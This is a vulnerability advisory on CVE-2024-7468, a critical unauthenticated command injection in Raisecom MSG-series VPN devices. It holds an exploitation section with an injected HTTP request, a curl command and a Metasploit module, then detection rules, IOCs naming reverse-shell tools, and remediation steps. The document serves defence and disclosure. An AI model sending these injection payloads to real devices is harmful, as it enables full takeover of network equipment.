CVE-2024-7468

Executive Summary

CVE-2024-7468 is a critical OS command injection vulnerability affecting Raisecom MSG1200, MSG2100E, MSG2200, and MSG2300 devices running firmware version 3.90. The flaw resides in the sslvpn_config_mod function within the /vpn/list_service_manage.php file of the web interface. By manipulating the template or stylenum parameters, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full device compromise. The exploit has been publicly disclosed, and no patch is currently available from the vendor. This vulnerability is classified as critical with a CVSS score of 10.0.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 10.0 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is critical due to the lack of authentication required, low complexity of exploitation, and the potential for full device takeover. Public exploit code availability increases the risk of widespread attacks.

Deep Dive & Mechanics

The vulnerability is an OS command injection in the sslvpn_config_mod function of the Raisecom web interface. The /vpn/list_service_manage.php script processes user-supplied parameters template and stylenum without proper sanitization or validation. These parameters are likely passed to a system shell command (e.g., via exec(), system(), or shell_exec() in PHP) to perform configuration operations. An attacker can inject arbitrary commands by appending shell metacharacters such as ;, |, &&, or backticks to the parameter values.

For example, a request like:

POST /vpn/list_service_manage.php HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

template=default;id&stylenum=1

would execute the id command on the underlying operating system, returning the current user context.

The vulnerability is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The lack of input validation and the use of dangerous PHP functions that execute shell commands are the root causes.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to the following PHP snippet:

<?php
$template = $_POST['template'];
$stylenum = $_POST['stylenum'];
$command = "sslvpn_config_mod --template $template --stylenum $stylenum";
system($command);
?>

A patched version would use proper input validation and escaping, such as:

<?php
$template = escapeshellarg($_POST['template']);
$stylenum = escapeshellarg($_POST['stylenum']);
$command = "sslvpn_config_mod --template $template --stylenum $stylenum";
system($command);
?>

Additionally, the application should validate that the inputs match expected patterns (e.g., alphanumeric only) and avoid using system() or exec() if possible.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target Raisecom device with firmware 3.90
• Network access to the web interface (typically port 80 or 443)

Exploit Steps:

1. Identify the target device using Shodan dorks or manual scanning.
2. Send a crafted POST request to /vpn/list_service_manage.php with malicious payload in the template or stylenum parameter.
3. Execute arbitrary commands to establish persistence, exfiltrate data, or pivot.

Example Exploit (using curl):

curl -X POST http://target/vpn/list_service_manage.php \
  -d "template=default;id&stylenum=1"

Metasploit Module (conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Raisecom MSG Series OS Command Injection',
      'Description' => 'Exploits CVE-2024-7468 for RCE',
      'Author' => ['Valters IT'],
      'References' => [['CVE', '2024-7468']],
      'DisclosureDate' => '2024-08-01',
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri' => '/vpn/list_service_manage.php',
      'vars_post' => {
        'template' => "default;#{payload.encoded}",
        'stylenum' => '1'
      }
    })
  end
end

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to /vpn/list_service_manage.php for unusual parameters.
2. Look for shell metacharacters (;, |, &, `, $()) in the template or stylenum fields.
3. Correlate with outbound connections from the device to unknown IPs (potential reverse shell).
4. Check for unexpected processes or file modifications on the device.

Honeypot Configuration:

• Deploy a fake Raisecom web interface that logs all POST data.
• Alert on any request containing shell metacharacters.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /vpn/list_service_manage.php with parameters containing ;, |, &&, `, $().
  • Outbound connections from the device to unusual IPs on ports 4444, 1337, or 8080 (common reverse shell ports).
  • DNS queries to suspicious domains (e.g., pastebin.com, attacker-controlled domains).

• File IOCs:

  • Unexpected files in /tmp/ or /var/tmp/ (e.g., exploit.sh, payload).
  • Modified system binaries or scripts (e.g., /bin/sh replaced).

• Process IOCs:

  • Unusual processes running as root, such as nc, bash, python, perl.
  • Processes with arguments containing IP addresses or port numbers.

Detection Engineering

YARA Rule

rule CVE_2024_7468_Exploit_Detection {
  meta:
    description = "Detects exploit attempts for CVE-2024-7468 in HTTP POST requests"
    author = "Valters IT"
    date = "2024-08-01"
    reference = "CVE-2024-7468"
  strings:
    $post_path = "/vpn/list_service_manage.php"
    $shell_meta1 = /[;&|`$()]/
    $shell_meta2 = /(template|stylenum)=.*[;&|`$()]/
  condition:
    $post_path and ($shell_meta1 or $shell_meta2)
}

Sigma Rule

title: CVE-2024-7468 Raisecom OS Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2024-7468 via HTTP POST to /vpn/list_service_manage.php
author: Valters IT
date: 2024-08-01
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2024-7468
logsource:
  category: webserver
  product: apache
  service: http
detection:
  selection:
    cs-method: POST
    cs-uri-stem: /vpn/list_service_manage.php
    cs-uri-query|contains:
      - ';'
      - '|'
      - '&&'
      - '`'
      - '$('
  condition: selection
falsepositives:
  - Legitimate use of special characters in configuration (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7468 Raisecom OS Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/vpn/list_service_manage.php"; http_uri; pcre:"/(template|stylenum)=.*[;&|`$()]/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect Raisecom MSG1200, MSG2100E, MSG2200, and MSG2300 from untrusted networks (e.g., the internet) until a patch is available.
2. Apply network segmentation: Place these devices behind a firewall that restricts access to the web interface to only trusted IPs.
3. Disable the web interface if not required: Use CLI or SNMP for management instead.

Long-term Fix:

• Contact Raisecom for a firmware update. If no patch is forthcoming, consider replacing the devices with alternatives from vendors with better security practices.
• Implement a Web Application Firewall (WAF) with rules to block requests containing shell metacharacters in the template or stylenum parameters.

Workaround:

• Modify the PHP file /vpn/list_service_manage.php to add input sanitization (if you have access to the filesystem). For example, add $template = escapeshellarg($template); before the command execution.

Valters IT